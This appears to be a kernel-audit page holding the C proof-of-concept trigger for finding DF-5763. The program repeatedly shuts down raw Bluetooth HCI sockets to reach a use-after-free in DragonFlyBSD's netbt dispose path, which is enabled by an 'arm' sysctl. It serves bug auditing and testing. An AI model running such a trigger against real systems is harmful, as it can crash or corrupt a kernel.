⬢ DragonFlyBSD Kernel Audit
DF-5763 / btdisp.c
← back to finding ↓ download raw
/*
 * DF-5763 trigger — create AF_BLUETOOTH raw HCI sockets and
 * shutdown(SHUT_RD) them, which runs production sorflush():
 *
 *   sys/kern/uipc_socket.c:1986: if ((pr->pr_flags & PR_RIGHTS) &&
 *                                   pr->pr_domain->dom_dispose)
 *                                       dom_dispose(asb.ssb_mb);
 *
 * Without hw.btdisp.arm: PR_RIGHTS is clear -> dom_dispose never runs
 * (control; guest must stay healthy for any number of rounds).
 * With    hw.btdisp.arm: netbt_dispose() zdestroy()s the three GLOBAL
 * vm_zones on the FIRST flush and operates on freed zones from the
 * second flush on.
 */
#include <sys/socket.h>
#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <err.h>

#ifndef AF_BLUETOOTH
#define AF_BLUETOOTH 33
#endif
#define BTPROTO_HCI 1

int
main(int argc, char **argv)
{
	int i, n, fd, rc;

	if (argc != 2)
		errx(2, "usage: btdisp <rounds>");
	n = atoi(argv[1]);

	for (i = 0; i < n; i++) {
		fd = socket(AF_BLUETOOTH, SOCK_RAW, BTPROTO_HCI);
		if (fd < 0)
			err(1, "round %d: socket", i);
		rc = shutdown(fd, SHUT_RD);
		if (rc != 0)
			err(1, "round %d: shutdown", i);
		printf("round %d/%d: socket+shutdown(SHUT_RD) ok\n", i + 1, n);
		fflush(stdout);
		close(fd);
	}
	printf("done: %d rounds, still alive\n", n);
	return (0);
}